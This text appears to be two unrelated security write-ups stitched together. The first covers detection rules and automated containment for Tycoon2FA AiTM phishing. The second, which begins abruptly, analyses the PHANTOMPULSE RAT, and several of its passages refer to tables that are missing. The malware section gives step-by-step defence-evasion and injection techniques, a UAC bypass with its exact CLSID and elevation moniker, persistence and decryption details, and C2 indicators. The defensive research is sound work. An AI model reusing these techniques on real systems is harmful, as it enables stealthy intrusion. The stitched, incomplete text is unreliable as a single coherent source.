Microsoft - Kit relay detection

Entra ID Potential AiTM Sign-In via OfficeHome (Tycoon2FA) - This is a high signal detection that triggers on Auth Broker or OfficeHome sign-ins to Graph/Exchange with Node.js-style user agents (node, axios, undici). Catches the kit relay tier's server-side token operations.

M365 Potential AiTM UserLoggedIn via Office App (Tycoon2FA) - Same detection logic as the Entra sign-in rule but against the M365 Unified Audit Log for tenants ingesting o365.audit instead of (or in addition to) Entra sign-in logs.

Entra ID OAuth Device Code Phishing via AiTM : Detects successful interactive device-code-flow sign-ins through the Auth Broker targeting Exchange, Graph, or SharePoint. Catches the device-code-grant abuse variant specifically.

Entra ID Microsoft Authentication Broker Sign-In to Unusual Resource : Detects successful Auth Broker sign-ins where the target resource is outside the commonly-observed first-party set. Catches FOCI token exchange to unexpected APIs or enterprise applications.

Microsoft - Persistence detection

Entra ID Register Device with Unusual User Agent (Azure AD Join) : Detects successful device registration events where the user agent is not one of the known native registration clients (Dsreg, DeviceRegistrationClient, Dalvik). Catches the kit's device-PRT persistence play also originating from the axios user agent:

Post-compromise Graph API enumeration (ES|QL)

For the operator console tier's post-compromise recon, we built an ES|QL rule that tags each Microsoft Graph API request into one of five reconnaissance categories and fires when 4 or more distinct categories are hit within the aggregation window (<= 60s):

Microsoft Graph Multi-Category Reconnaissance Burst catches systematic post-compromise enumeration while filtering out organic portal usage. Normal user activity might touch one or two of these categories, hitting 4 or more distinct recon categories from a single session within a short window (33 seconds) is the automated-tooling fingerprint.

Google - Kit relay and persistence detection

Google Workspace Impossible Travel Login - ES|QL rule using *st_distance()* geospatial functions to detect successful sign-ins from locations implying travel faster than 800 km/h with at least 500 km separation. Catches the multi-ASN kit relay pattern where multiple IPs in different geolocations authenticate the same user within minutes:

Google Workspace User Login from Atypical ASN - new term rule that detects the first time a Google Workspace user successfully signs in from a given source ASN within a 14-day historical window.

Google Workspace Device Registration After OAuth from Suspicious ASN : EQL sequence rule detecting OAuth authorization for the Chrome client (77185425430.apps.googleusercontent.com) from cheap hosting ASN, followed within 30 seconds by a device registration with account state REGISTERED.

Google Workspace Device Registration Burst for Single User - Detects bursts of Google Workspace device registration events for the same user, where three or more distinct
google_workspace.device.id values are emitted in a one-minute window :

Automating containment with Elastic Workflows

Once the detection content is in place, the next gap is the time between alert and action. The Tycoon 2FA M365 kit-to-operator handoff window we documented earlier is 10-20 minutes, the time between the kit relay's first successful token issuance and the operator-tier session beginning its post-compromise Graph recon.

A manual SOC response routinely takes longer than that window, which is why the operator gets recon work done before containment lands. Closing that gap is what makes detection actionable.

Elastic Workflows, shipped with the stack (9.4+), lets detection rules invoke custom workflows with a YAML-defined pipeline of steps on every alert.

As a PoC, we built a custom workflow wired to an Entra ID Potential AiTM Sign-In via OfficeHome (Tycoon2FA) detection rule that mirrors the required response actions.

On every alert the workflow:

1. Acquires a Graph bearer via client_credentials (one-time per execution).
2. PATCHes the compromised UPN with accountEnabled: false to halt new authentications.
3. Enumerates registeredDevices and ownedDevices on the user.
4. DELETEs each device principal, which is what actually invalidates a device-bound PRT.
5. POSTs to revokeSignInSessions to invalidate user-level refresh tokens and session cookies.
6. Opens a Kibana case populated with the alert context for post-IR audit (password reset, auth method review, OAuth grant audit).

The chain executes in less than 10 seconds end-to-end against Microsoft Graph, well inside the 10-20 minute Tycoon 2FA handoff window. The operator-tier session never gets a chance to begin recon.

The pattern scales beyond this one rule. The same workflow shape works for any cloud-identity detection that benefits from immediate containment: AiTM sign-ins, impossible travel, illicit OAuth consent grants, role escalation, MFA fatigue, anomalous device registration. Wire the rule to a workflow that calls the relevant cloud API and the SOC gets seconds-level containment.

Defending against Tycoon 2FA AiTM attacks

• Deploy phishing-resistant MFA: FIDO2 security keys and passkeys are the only methods immune to AiTM session theft. TOTP, SMS, and push-based MFA can all be proxied.
• Enforce device compliance via Conditional Access: Require managed, compliant devices for token issuance. This is the single most effective control against AiTM token theft.
• Block device code flows: The Block device code flow Conditional Access policy cleanly rejects the kit relay at the grant phase (error 53003). Enable it for all users except explicitly approved kiosk/headless scenarios.
• Enable token protection (token binding): Binds tokens to the device they were issued to. A stolen token replayed from a different device is rejected.
• Enable Continuous Access Evaluation (CAE): Near real-time token revocation when risk conditions change.
• Enable Security Defaults in Entra ID (only for tenants without custom Conditional Access): rejects legacy authentication such as ROPC and blocks device code flow by default. Enabling Security Defaults disables custom CA policies, so this is not applicable to tenants already running granular CA.

MITRE ATT&CK Mapping

References

• Microsoft Security Blog - Inside Tycoon2FA: How a leading AiTM phishing kit operated at scale (March 2026)
• Tycoon 2FA Malware Analysis, Overview by ANY.RUN
• Cloudflare - Tycoon 2FA Takedown (March 2026)
• SpyCloud - Tycoon 2FA Takedown: Inside the Global Phishing Infrastructure Disruption (March 2026)
• eSentire - Tycoon 2FA Operators Adopt OAuth Device Code Phishing (May 2026)
• Sekoia - Tycoon 2FA: an in-depth analysis of the latest version of the AiTM phishing kit (March 2024)

Key takeaways

• PHANTOMPULSE implements three injection techniques adapted from recent public offensive-security PoCs.
• AMSI, WLDP, and ETW are bypassed via a single shared HWBP primitive
• The blockchain C2 resolver has no sender verification, allowing a defender to override the C2 URL for every implant by posting a single transaction
• Strong AI-assisted-development indicators present in the binary

A note on AI-assisted development

PHANTOMPULSE bears strong fingerprints of AI coding assistance, visible throughout the debug strings.

The clearest tells:

• Structured step numbering in operational logs: [STEP 1] Staged mode — payload downloaded from C2 at runtime, [STEP 1/3] Scheduled Task (DotNetSvcUpdateTask, logon + every 3 min), [STEP 2/3] Boot Task (DotNetSvcCoreTask, INTERACTIVE_TOKEN + BootTrigger), [UNINSTALL 4/6] Removing persist_loader DLL + registry PE data..., [REPAIR] Reinstalling boot task (INTERACTIVE_TOKEN)....
• ENTER/DONE function tracing: "[HEIS] encrypt_text_only ENTER" / "[HEIS] encrypt_text_only DONE", "KeylogResolveAPIs: ENTER". The diagnostic style LLMs default to when generating new functions.
• Verbose diagnostics: "FindHostProcessEx: scan stats: total=%lu sessSkip=%lu openFail=%lu native=%lu wow64=%lu mapReject=%lu dbgReject=%lu sess=%lu", "ManualMap: thread hijacked and resumed — DLL injection via thread hijack complete". Self-explanatory output, unusually talkative for malware.
• Em dashes in C strings: "elevate: FAIL — no deployed DLL path", ">>> .elevate: NOT proxy — spawning trusted host to handle elevation".

Execution chain

MainEntryLogic is the orchestration function that runs the full initialization sequence before entering the C2 loop:

start
 └─ WinMain
     └─ MainEntryLogic
         1. DynInit                // Bootstrap API resolution
         2. ElevationStateCheck    // ".elevate" marker detection, routes by token elevation state
         3. SingleInstanceCheck    // XOR-decrypted mutex, exit if already running
         4. EvasionInit            // Direct syscalls + ETW HWBP
         5. SyscallResolverInit    // CPUID + hash-based kernel32 resolution
         6. SleepMaskInit          // Sleep obfuscation setup
         7. ComputeMachineID       // DJB2(module name) ^ volume serial
         8. IsRunningHollowed      // Process hollowing self-check
         9. CollectSysInfo         // CPU, GPU, RAM, OS, AV, apps
        10. FilelessPersist        // Drop stub DLL, registry artifact
        11. InstallPersistence     // Three scheduled tasks via COM ITaskService
        12. C2Loop_Init → C2Loop_Main

At startup, the implant DJB2-hashes the user name and computer name and looks each up in a precomputed table. A match exits the process. Brute-forcing the table against public anti-sandbox wordlists recovered 20 of the 61 entries: WDAGUtilityAccount (Windows Defender Application Guard), several DESKTOP-XXXXXXX default-VM names, and the Joe Sandbox personas (abby, patex, george, john, lisa, frank, RDhJ0CNFevzX).

Defense evasion

Direct syscalls and API wrappers

PHANTOMPULSE resolves ntdll functions by walking PEB→Ldr with DJB2 hashes, extracts System Service Numbers (SSNs) from each NT function's prologue, and builds private syscall stubs. These stubs are wrapped in higher-level helpers used throughout the rest of the implant:

• NtCreateFile_Wrap
• NtWriteFile_Wrap
• NtClose_Wrap
• NtCreateSection_Wrap
• NtMapViewOfSection_Wrap
• NtProtectVirtualMemory_Wrap
• NtWriteVirtualMemory_Wrap

The rest of the implant calls these wrappers instead of kernel32/ntdll exports, defeating user-mode ntdll hooks (IAT replacements, inline detours, or trampoline patches) that EDR products inject into the documented API surface.

A single helper function routes every disk write through NtCreateFile + NtWriteFile directly, with delete-and-retry on access errors.

String and config obfuscation

PHANTOMPULSE uses four XOR layers for different artifacts:

AMSI, WLDP, and ETW bypass via hardware breakpoints

PHANTOMPULSE disables AMSI, the Windows Lockdown Policy code-trust check, and ETW telemetry through a single shared primitive: a hardware breakpoint planted on each API entry, intercepted by a vectored exception handler that fakes the return value without inline patching.

The mechanism, step by step:

1. The implant resolves the target API. AMSI and WLDP go through LoadLibraryA + hash-based export lookup; ETW uses a PEB→Ldr walk since ntdll is already loaded.
2. The HWBP descriptor (target API address, mode, spoofed return value) is written into one of four 40-byte slots in a global slot table.
3. A helper thread suspends the target thread, calls NtGetContextThread / NtSetContextThread to write DR0–DR3 + DR7, then resumes. (If the implant's vectored exception handler is already installed, an in-process STATUS_BREAKPOINT is raised instead, letting the VEH read the slot table and program the DRs without a helper thread.)
4. When the protected API is called, the CPU raises Debug Exception on the function's first instruction.
5. The implant's vectored exception handler intercepts the Debug Exception, walks its 4-slot table to find the firing address, and modifies the thread context: CONTEXT.Rax is set to the per-slot spoofed return value, CONTEXT.Rip is redirected to a pre-stored "skip" thunk that returns to the caller.
6. The handler returns EXCEPTION_CONTINUE_EXECUTION. The caller sees the spoofed RAX as if the API had run.

The dispatcher serves two paths. One handler (VEH_Dispatcher) processes both the implant's own RaiseException(STATUS_BREAKPOINT) calls (used to seed and re-program the DR registers from the slot table) and the STATUS_SINGLE_STEP exceptions that fire when a protected API is called. The exception code drives the branch: STATUS_BREAKPOINT triggers DR programming, STATUS_SINGLE_STEP triggers the spoof.

The handler is also not registered directly. AddVectoredExceptionHandler receives a tiny JMP thunk allocated at runtime in a fresh MEM_PRIVATE page (VirtualAlloc + VirtualProtect to PAGE_EXECUTE_READ). The thunk is a JMP [RIP-relative] indirect jump (6-byte opcode FF 25 00 00 00 00) followed inline by the dispatcher's address. Because no bytes are ever written to AmsiScanBuffer, WldpQueryDynamicCodeTrust, or EtwEventWrite, signature-based detection that scans for prologue patches misses this entirely.

Build variant: active and dormant subsystems

Several subsystems exist in the binary as code or strings, but are not active in this build. This is a stripped-down build of a larger codebase.

• NTDLL unhooking: Debug strings for an unhooking subsystem live in .rdata (UnhookNtdll: ntdll base = %p, applied %d relocation fixups to .text), but nothing references them. Dead in this variant.
• Registry-resident PE blob loader: earlier builds stored the next-stage PE inside the registry. This build does not, but the uninstall routine still cleans up the legacy registry blob.
• COM hijack persistence: never installed by this build. Cleanup logic for it remains in the uninstall routine.
• Print monitor persistence: same pattern as COM hijack; install path absent, uninstall path retained.

The last three (registry blob loader, COM hijack, print monitor) show the opposite pattern: cleanup logic with no install logic, retained for backward compatibility against older deployments.

Command and control

Blockchain C2 resolution

PHANTOMPULSE decentralizes C2 lookup through three Blockscout providers:

• eth.blockscout[.]com (Ethereum L1)
• base.blockscout[.]com (Base L2)
• optimism.blockscout[.]com (Optimism L2)

The wallet address 0xc117688c530b660e15085bF3A2B664117d8672aA is XOR-decrypted from storage with a 16-byte key. For each provider, the implant issues an HTTPS GET (port 443, SSL cert errors ignored), pulls the input field of the latest transaction, hex-decodes it, XOR-decrypts with the wallet address bytes as the key, and validates that the result begins with http. On total failure, it falls back to the hardcoded URL https://panel.fefea22134[.]net.

The resolver does not verify the sender of the transaction. It only checks that the latest decoded input starts with http. Anyone can submit a transaction to that wallet with their own URL XOR-encoded under the wallet bytes, and every PHANTOMPULSE instance of that campaign that polls afterward resolves to that URL. For network defenders, this is a viable sinkhole at the cost of one transaction.

Endpoints and heartbeat

Five API paths are constructed at runtime, re-encrypted in memory with a per-session key:

The heartbeat sends a full system profile as JSON:

{
  "machine_id": "<uint32>",
  "status": "online",
  "cpu": "<model>",
  "gpu": "<description>",
  "ram_mb": "<uint32>",
  "os": "<version>",
  "username": "<user>",
  "computer_name": "<name>",
  "cores": "<uint32>",
  "screen_w": "<int>",
  "screen_h": "<int>",
  "privilege": "<user|admin|admin_nouac|system>",
  "build": "payloads",
  "public_ip": "<ip>",
  "av_list": ["<av1>", "<av2>"],
  "apps": ["<app1>", "<app2>"],
  "last_cmd": "<cmd>",
  "last_cmd_result": "<result>"
}

Two response fields are parsed: "status":"deleted" triggers full uninstall; "ip":"<value>" populates the public-IP cache, but only if local discovery (ipif[.]org / icanhazip[.]com/ checkip.amazonaws[.]com) hasn't already filled it.

Loop cadence and resilience

• Sleep: uniform random in [20, 40] seconds
• Self-healing: runs at iteration 2, then every 10th iteration
• Health-monitor tick: first call after the implant comes online, then every 5th iteration thereafter. Populates a local system-info struct (CPU%, RAM, OS version, uptime, computer name).
• Failure threshold: 10 consecutive heartbeat failures trigger a self-restart for stuck SSL/TLS recovery
• Re-resolution: on failure, blockchain re-resolution runs; if the resolved URL changes, the failure counter resets
• Public IP: api4.ipify[.]org → ipv4.icanhazip[.]com → checkip.amazonaws[.]com
• Connectivity check: probes microsoft[.]com, google[.]com, cloudflare[.]com, github[.]com

Command dispatch

The command dispatcher routes commands by DJB2 hash. Eight commands total:

The eighth handler has no debug log naming it. It self-terminates; the scheduled task relaunches the implant on the next tick. The lack of LLM-style scaffolding (debug strings) makes this one of the few handlers in the binary that appears to be added by the human author rather than LLM-generated.

Injection techniques

PHANTOMPULSE ships three injection techniques, one per payload type. The inject C2 command routes shellcode to PhantomInject, DLLs to ManualMap, and EXEs to DbgNexum.

The AMSI/WLDP hardware-breakpoint bypasses are installed on the first inject call, before any injector runs.

PhantomInject: module stomping into dbghelp.dll

Module stomping avoids MEM_PRIVATE allocation by mapping a legitimate Windows DLL as SEC_IMAGE and overwriting .text:

1. Acquires SeDebugPrivilege (via OpenProcessToken / LookupPrivilegeValueW / AdjustTokenPrivileges), then walks the process snapshot for one of seven host-process candidates (case-insensitive match). Tried in priority order: sihost.exe, taskhostw.exe, backgroundTaskHost.exe, RuntimeBroker.exe, dllhost.exe, ctfmon.exe, explorer.exe.

2. Opens dbghelp.dll via NtOpenFile, creates SEC_IMAGE section, maps into target via NtMapViewOfSection

   

3. Parses the local copy for .text RVA and size, then frees it

4. Selects and suspends a thread, captures context

5. Builds an 82-byte save-call-restore trampoline

6. Writes shellcode + trampoline into .text of the mapped DLL

7. Flips protection to PAGE_EXECUTE_READ

8. Repoints RIP to the trampoline, resumes thread

To a memory scanner, the result looks like a thread executing inside legitimate dbghelp.dll, a file-backed image region with the right file path, section name, and first-page hash.

DbgNexum: debug API as an execution controller

DbgNexum handles EXE payloads. Rather than writing executable code into the target up front, it uses the Windows debug API to drive execution one exception at a time: a ROP chain whose gadgets are full Windows APIs in the target.

The technique is not original to PHANTOMPULSE. It is a verbatim lift of dis0rder0x00/DbgNexum, a public proof of concept published on GitHub on 2026-01-04. The operator kept the published technique name ("DbgNexum") in the implant's debug strings unchanged, and the inner state machine is a 1:1 match: the same bait API, section name, gadget chain, and constants. PHANTOMPULSE wraps the lifted x64 core with operational scaffolding the PoC does not have: host-process selection (FindHostProcessEx), a fallback that spawns a fresh SysWOW64\cmd.exe / rundll32.exe / notepad.exe, a custom PE-loading bootstrap (so it can carry full EXEs instead of raw shellcode), and a separate WoW64 cross-architecture variant.

For native x64 payloads, the implant pre-stages the PE, the bootstrap stub, and the trampoline config inside a named file-mapping section. The section name is the literal two-byte string "MZ", the implant attaches with DebugActiveProcess and creates a remote thread on FileTimeToSystemTime with a hardware breakpoint on DR0.

When the bait hits the breakpoint, a state machine drives the target through this API chain:

1. Redirect RIP to DbgBreakPoint+1 with the trap flag set; the resulting single-step exception bridges into the rest of the chain.
2. LocalAlloc(LMEM_ZEROINIT, 3), allocate the 3-byte name buffer.
3. memcpy(buf, kernel32_base, 2), copy "MZ" from kernel32.dll's DOS header into the buffer.
4. memset(stack+40, 0, 8): zero a stack arg slot.
5. OpenFileMappingA(0x1F, FALSE, "MZ"), open the prepared section with full section-mapping access.
6. MapViewOfFile(...), map it into the target.
7. Redirect RIP to mapped_base + 0x400, the bootstrap stub. This is the only stage logged directly: DbgNexumLoop64: stage 6 -> stub at %llx, base=%llx. (The PoC redirects to mapped_base + 0 for raw shellcode; PHANTOMPULSE adds the +0x400 offset to land on its custom PE loader.)

Each transition intercepts the next debug event, restores RSP, clears the trap flag, modifies RIP and the argument registers (RCX, RDX, R8, R9) for the next call, and continues the debuggee. DR0 is reused as an execute hardware breakpoint on each saved return address, so no inline patches or WriteProcessMemory against the target are needed. From the kernel's view, all that happened was a thread inside kernel32.dll calling LocalAlloc, OpenFileMappingA, and MapViewOfFile.

The cross-architecture path (PE32 from a 64-bit implant) is a PHANTOMPULSE-only variant the public PoC does not have. It takes a shortcut: the implant walks the target's PEB.Ldr via NtReadVirtualMemory (using ProcessWow64Information to pick the 32-bit or 64-bit PEB layout) to find a DLL with a callable entry point, then pre-maps a section containing a 32-bit loader stub and trampoline into both processes via NtCreateSection + NtMapViewOfSection. The redirect is just two stages: bait at RtlExitUserThread, then a DbgBreakPoint-mediated single step jumps RIP to the trampoline. There is no API chain on this path because the section is already mapped on both sides, so OpenFileMappingA/MapViewOfFile aren't needed.

Cross-arch host selection runs through FindHostProcessEx, which excludes critical system processes (csrss.exe, lsass.exe, smss.exe, winlogon.exe, services.exe, wininit.exe, svchost.exe, MsMpEng.exe) and falls back to spawning a fresh SysWOW64\cmd.exe / rundll32.exe / notepad.exe if no usable WoW64 host is found.

ManualMap: full PE mapper

ManualMap handles DLL payloads with a complete PE manual mapping implementation:

1. Validates MZ/PE signature; rejects PE32 in the x64 host path (debug-log: "PE32 DLL in x64 host is impossible")

2. Allocates SizeOfImage in the target via NtAllocateVirtualMemory

3. Copies headers and sections to a local staging buffer

4. Applies base relocations (IMAGE_REL_BASED_DIR64, IMAGE_REL_BASED_HIGHLOW)

5. Resolves imports via LoadLibraryA + GetProcAddress

6. Wipes PE headers (zeros SizeOfHeaders bytes)

   

7. Writes the staged image into the remote allocation

8. Sets per-section memory protection

9. Builds a 137-byte trampoline in a separate 0x2000-byte remote allocation (set to PAGE_EXECUTE_READ):

The full trampoline shellcode gist contains the complete bytes.

10. Hijacks a thread via suspend / get-context / set-context

Privilege escalation

The elevate command is a UAC bypass via the schuac technique (IElevatedFactoryServer::ServerCreateElevatedObject(CLSID_TaskScheduler)), published as UACME issue #129 by zcgonvh, currently under the ID 74.

Mechanism

MaintenanceUI.dll's CMaintenanceUIVirtualFactory (CLSID {A6BFEA43-501F-456F-A845-983D3AD7B8F0}) is registered with an Elevation registry key, so the OS hands non-admin callers an elevated instance. Its IElevatedFactoryServer interface exposes ServerCreateElevatedObject(rclsid, riid, ppv), which the elevated server uses to instantiate any other CLSID under its elevated context. PHANTOMPULSE feeds it CLSID_TaskScheduler, gets back an elevated ITaskService, and uses that service to register a HighestAvailable-RunLevel task that re-launches the implant.

The elevate C2 command

Inside ProcessCommands, the elevate handler:

1. Builds the task action. The command is <system_dir>\rundll32.exe with arguments \"<deployed_dll>\",DllRegisterServer. The user identifier is COMPUTERNAME\USERNAME from GetEnvironmentVariableW. ![Elevate command call][/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image17.png]
2. Writes the .elevate marker as a single byte ("1", 0x31), not encoded parameters. The write goes through NtCreateFile + NtWriteFile to bypass user-mode hooks. The marker is just a presence flag; the elevation parameters travel inside the task definition the implant is about to register.
3. XOR-decrypts the COM Elevation Moniker at runtime, 66 bytes from .rdata xored against seed 0xE95CA237, which decodes to Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}.
4. Calls CoGetObject(moniker, &BIND_OPTS3{dwClassContext=CLSCTX_LOCAL_SERVER}, IID_IElevatedFactoryServer, &factory) to get an elevated IElevatedFactoryServer*, then factory->ServerCreateElevatedObject(CLSID_TaskScheduler, IID_ITaskService, &elevatedTaskService) to get an elevated ITaskService* that inherits the elevation.
5. Registers a transient task DotNetSvcElevateTask at HighestAvailable RunLevel with the rundll32 action above.
6. Deletes any pre-existing non-elevated persistent tasks so the old low-IL persistence cannot race the elevated relaunch.
7. Calls ITaskService::Run on the transient task and deletes it immediately afterward. Releases the single-instance mutex and exits the medium-IL implant.

Fallback retry via proxy rundll32

If the CoGetObject / RegisterTask chain fails, a fallback path takes over. A separate startup path spawns a fresh rundll32.exe "<deployed_dll>",DllRegisterServer directly via CreateProcessW, with retries (">>> .elevate redirect attempt %d"). Inside that rundll32 the implant detects isProxy=1, elevated=0 and retries the schuac sequence with three registration variants (ELEVATED+INTERACTIVE+user, ELEVATED+INTERACTIVE, INTERACTIVE). On success, the elevated task fires and the elevated relaunch takes over. On exhaustion, the proxy logs ">>> Phase 1: all registration methods failed, cleaning marker" and exits.

Elevated rundll32 relaunch

When the transient task fires, svchost.exe (Schedule) launches rundll32.exe "<deployed_dll>",DllRegisterServer under a fresh high-IL token. The implant's DllRegisterServer export runs as the entry; at startup it sees the .elevate marker and a high-IL token and routes to the elevated path:

• Reads and deletes the .elevate marker.
• Reinstalls persistence under elevated context, including the boot task DotNetSvcCoreTask under \Microsoft\Windows\NetFramework\, registered with INTERACTIVE_TOKEN + BootTrigger, which requires admin to register.
• Continues normal implant operation as a high-IL service.

Marker-state routing

At every startup, MainEntryLogic calls GetFileAttributesW on the .elevate path. If it returns INVALID_FILE_ATTRIBUTES, the implant skips all elevation logic and starts normally. If the marker exists, the implant gathers two more facts: whether the current process is a rundll32.exe/regsvr32.exe proxy, and whether the token is elevated, then routes on the combination:

The marker file's contents are never read, its presence alone drives the routing.

Elastic Security Labs' Exploring Windows UAC Bypasses covers detection patterns for the IElevatedFactoryServer class of bypass directly.

Persistence

Three scheduled tasks

PHANTOMPULSE installs three scheduled tasks via the COM ITaskService interface, each executing rundll32.exe "<stub_dll>",DllRegisterServer:

The boot task lives under \Microsoft\Windows\NetFramework\ to blend with legitimate .NET maintenance tasks. Its full XML body is embedded in .rdata, not constructed at runtime. Signatures on this literal blob are durable across builds.

Installation tries multiple RegisterTask fallback variants per task, combining INTERACTIVE_TOKEN and S4U logon types with different user-identifier formats (COMPUTER\User, SID, short username). The exact order of attempts depends on the implant's privilege context (SYSTEM, admin, or standard user); failures fall through to the next variant until one succeeds.

Stub DLL drop

The deployed agent lives encrypted and compressed inside the EXE's own .rdata. FilelessPersist decrypts it on demand and writes the result to disk via (NtCreateFile + NtWriteFile).

Decryption is two stages:

1. XOR-decode a blob against a rotating 16-byte key at (decoded[i] = blob[i] ^ key[i & 0xF], with decoded[0] = 0x1E as a hard-coded first byte that primes the LZNT1 chunk header).
2. RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, ...) on the decoded buffer, which is a DLL (svcagent.dll).

Drop paths in priority order, falling through on access errors:

1. %ProgramData%\AssetMon\svcagent.dll (primary)
2. %APPDATA%\AssetMon\svcagent.dll
3. %TEMP%\svcagent.dll
4. A redundant %ProgramData% "sleeper" copy at a separate path

Analysts can reproduce the deployed DLL offline by reading the two regions above out of the EXE, applying the XOR loop, and feeding the result to RtlDecompressBuffer (or any LZNT1 implementation) as seen in the CyberChef screenshot below.

DLL sideload migration

A block inside SetupRegistryPE (logged with the MigrateSideload / MigrateLegacySideloads debug-string prefixes) enumerates running processes and their executable directories, hunting for diagcore.dll. When found, it overwrites the file with the current stub via CopyFileW.

Self-healing

Self-healing runs on iteration 2 of the C2 loop and every 10th iteration thereafter, gated on a deferred-persist flag being clear. The check order:

1. Registry-persistence check first. CheckRegistryPersistence runs at the top of the block. If it reports unhealthy, the implant immediately re-runs FilelessPersist (re-decrypts and re-drops the stub DLL) and InstallPersistence (re-registers the task triggers).
2. Task verification. SelfHealCheckTasks then verifies the three persistence tasks (DotNetSvcUpdateTask, DotNetSvcCoreTask, DotNetSvcUserTask) and reinstalls any that are missing. The boot task check is gated on SYSTEM-or-admin context; non-privileged callers skip it.
3. AV inventory refresh. DetectInstalledAV runs at the end to refresh the operator-visible AV product list.

The privilege gating matters for eviction. From a non-elevated context, the boot-task check is skipped, so the boot task is not inspected during cleanup. Full eviction requires removing all three tasks plus the registry artifact in one window from an elevated context.

Beyond the iteration-based self-heal, the implant carries a deferred-persist mechanism keyed off a single flag. On heartbeat-success paths in C2Loop_Main, once the heartbeat-success counter exceeds one with the flag set, the implant re-runs FilelessPersist + InstallPersistence and clears the flag. This gives PHANTOMPULSE a second persistence-repair path that fires on a different trigger than the iteration-based self-heal.

Collection

Inline keylogger with clipboard monitoring

The keylogger runs inline in the C2 loop with no dedicated thread. It resolves APIs from user32.dll at runtime:

The log file is XOR-encrypted with the 0xE95CA237 seed. Uploads send only the delta to avoid retransmission.

Screenshot

Screenshots use GDI APIs resolved by hash. If desktop width exceeds 960 px, the image is downscaled before upload. The raw BMP is built in memory and uploaded with Content-Type: image/bmp. Triggered on-demand by the screenshot C2 command (hash 0x9A37F083).

System reconnaissance

Recon data the implant gathers:

The AV-detection list is unusually broad, covering standard Western consumer AV products such as Defender, Norton, McAfee, Avast, AVG, Avira, Bitdefender, ESET, F-Secure, G Data, Kaspersky, Panda, Sophos, Trend Micro, VIPRE, Webroot, ZoneAlarm, Comodo along with EDR vendors (CrowdStrike, SentinelOne, Cylance, Malwarebytes, HitmanPro) are all covered. The implant also probes for AhnLab V3 (South Korean), Qihoo 360 / 360 Total Security and Tencent QQPC (Chinese), and K7 Computing (Indian). The Asian-AV inclusion is uncommon for Western-targeted commodity stealers and consistent with an implant designed for victims across multiple regional markets.

The implant also checks for a curated list of 19 high-value applications by name and flags matches in the heartbeat (App detection: found %d apps):

The detection function (DetectInstalledApps) does not scan the registry or enumerate processes. It expands three environment-variable roots (%LOCALAPPDATA%, %APPDATA%, %ProgramFiles(x86)%), concatenates a hardcoded UTF-16 relative-path suffix per app (e.g. \Telegram Desktop\, \Authy Desktop\, \Ledger Live\, \@trezor\trezor-suite\, \Steam\steam.exe), and calls GetFileAttributesW on each path. A non-error return means the app is installed, and the name is recorded in the heartbeat results buffer.

PHANTOMPULSE itself does not extract data from any of these. The list is target reconnaissance for follow-on tasking. The operator sees in the heartbeat which high-value applications a given victim has and decides what specialized payload to push next via inject or drop.

No wallet, browser, messenger, or credential stealer functionality was identified in the analyzed sample; the targeting list is purely a presence-check feeding the operator's decision tree.

Uninstall

A 6-step cleanup, triggered by the uninstall command, by "status":"deleted" in a heartbeat response, or by a kill flag in the registry:

Step 3 reveals the legacy persistence techniques: cleanup logic for COM hijack and print monitor keys that this build never installs.

Attribution

PHANTOMPULSE's tradecraft, targeting, and infrastructure choices align with the DPRK-aligned crypto-targeting intrusion clusters that include Lazarus, BlueNoroff, UNC5342 (Contagious Interview), and APT38. Multiple independent dimensions match recent public reporting on those clusters.

Signals aligning with DPRK reporting:

• Blockchain-resolved C2 via transaction input fields matches the dead-drop-resolver pattern Mandiant attributes to UNC5342 (Contagious Interview) in DPRK Adopts EtherHiding. PHANTOMPULSE's specifics (wallet-byte XOR, multi-chain Blockscout) are not a 1:1 fingerprint, but the technique class is now DPRK-tagged.
• Desktop crypto-wallet enumeration set (ledger, trezor, bitcoin-core, electrum, exodus, atomic, guarda) closely matches Unit 42's RustDoor / Koi Stealer for macOS targeting list, which is DPRK-attributed.
• Cross-platform Windows + macOS implants for the same victim profile (the prior REF6598 post documented a macOS sibling with C2 at 0x666[.]info and a Telegram fallback at t[.]me/ax03bot) is a BlueNoroff signature.
• Telegram and messenger targeting is specifically a BlueNoroff specialty per Arctic Wolf BlueNoroff coverage.

Hunting for new C2 domains via the resolver wallet's known-plaintext signature

The XOR scheme used by the blockchain resolver leaks a stable 2-byte signature defenders can hunt against the entire chain, not just one wallet.

Two facts combine: every C2 URL begins with ht (from http:// or https://), and the XOR key is the wallet's ASCII address verbatim, so its first two key bytes are always the literal characters 0 and x. XOR-ing ht against 0x yields \x58 \x0c. Every encrypted input field produced by a PHANTOMPULSE-style resolver, on any chain, signed by any related wallet, begins with the four hex characters 580c.

This converts the hunt from monitoring one wallet into sweeping the chain for the signature. Public Ethereum, Base, and Optimism transaction data is queryable via BigQuery, Dune, or full archive nodes. A query against the public Ethereum transactions dataset for input values starting with 0x580c, scoped to a recent block-timestamp window, surfaces previously-unknown resolver wallets used by the same codebase. Each match is validated by decoding with the sender wallet's ASCII address as the key: a real C2 URL begins with http after decoding. The following CyberChef recipe can be used to decrypt the C2 URL.

SELECT 
    block_timestamp AS block_time, 
    from_address AS `from`, 
    to_address AS `to`, 
    input AS data
FROM `bigquery-public-data.crypto_ethereum.transactions`
WHERE block_timestamp >= '2026-04-01 00:00:00'
  AND input LIKE '0x580c%'
ORDER BY block_timestamp DESC
LIMIT 10000;

CyberChef can decrypt the input data to reveal the domain, as shown in the screenshot below.

Conclusion

PHANTOMPULSE is engineered from published components: module stomping, debug-API state machines, manual mapping, hardware-breakpoint AMSI/WLDP/ETW bypass, scheduled-task persistence, and blockchain C2. The combination and the hardening that ties it together point to a mature codebase under active development. The durable signals are behavioral and are covered by Elastic's behavioral protections for REF6598.

PHANTOMPULSE and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Persistence
• Privilege Escalation
• Defense Evasion
• Credential Access
• Discovery
• Collection
• Command and Control
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing: Spearphishing via Service
• Command and Scripting Interpreter: PowerShell
• Process Injection
• Process Injection: DLL Injection
• System Binary Proxy Execution: Msiexec
• System Binary Proxy Execution: Rundll32
• Scheduled Task/Job: Scheduled Task
• Boot or Logon Autostart Execution
• Modify Registry
• Impair Defenses: Disable or Modify Tools
• Indicator Removal: File Deletion
• System Information Discovery
• System Owner/User Discovery
• Process Discovery
